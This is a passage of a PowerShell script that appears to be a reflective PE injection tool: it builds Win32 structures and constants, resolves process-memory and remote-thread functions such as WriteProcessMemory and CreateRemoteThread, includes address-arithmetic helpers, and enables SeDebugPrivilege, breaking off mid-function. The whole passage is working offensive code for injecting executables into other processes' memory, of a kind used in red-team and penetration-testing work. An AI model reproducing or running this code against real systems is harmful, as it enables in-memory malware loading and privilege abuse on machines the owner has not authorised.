#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
$LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$LocalFreeDelegate = Get-DelegateType @([IntPtr])
$LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree
return $Win32Functions
}
#####################################
#####################################
########### HELPERS ############
#####################################
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Invoke-CreateRemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]